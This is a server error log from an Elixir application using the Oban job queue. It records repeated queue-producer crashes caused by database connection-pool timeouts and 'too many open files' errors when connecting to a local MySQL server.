State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:36:46.247899Z], limit: 5, uuid: "60f66683-5026-4820-a00f-eb6211040432", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:46.247905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203785>, refresh_timer: #Reference<0.2525715032.1077411843.203774>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:36:46.253081Z], limit: 5, uuid: "af1c9b94-49b2-4ce9-adc5-deaa21abb237", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:46.253087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203787>, refresh_timer: #Reference<0.2525715032.1121189889.81374>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:36:46.246960Z], limit: 3, uuid: "fff490a4-f9ca-4e56-9dda-9e56fe0a6d56", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:46.246967Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203789>, refresh_timer: #Reference<0.2525715032.1121189889.81322>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:00.124000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:00.724000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:07.903000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:09.166000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:09.595000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:09.928000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:10.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:36:58.240318Z], limit: 20, uuid: "9df168d9-c1f3-4737-9c75-51eefcb57833", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:58.240325Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.236044>, refresh_timer: #Reference<0.2525715032.1099169794.236032>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:36:58.243204Z], limit: 50, uuid: "b8713376-3c0b-4efe-9d09-6c20894bfb93", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:58.243209Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230168>, refresh_timer: #Reference<0.2525715032.1077411843.203929>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:36:58.240999Z], limit: 5, uuid: "b695938e-3882-4b14-992d-394e305187b9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:58.241005Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230167>, refresh_timer: #Reference<0.2525715032.1099169794.236028>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:36:58.241604Z], limit: 3, uuid: "647b39bf-ec1a-470c-b028-2de7a915a1a9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:58.241610Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230165>, refresh_timer: #Reference<0.2525715032.1068236804.230157>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:10.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:36:58.241309Z], limit: 5, uuid: "943aa4d0-2d5e-4cbc-99bd-c8d737353c25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:58.241314Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.236045>, refresh_timer: #Reference<0.2525715032.1099169794.236040>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:36:58.241003Z], limit: 10, uuid: "41180aa7-b5e5-4076-a51d-a91e64aebc6a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:58.241009Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.230166>, refresh_timer: #Reference<0.2525715032.1099169794.236031>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:37:15.593000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:16.152000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:37:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
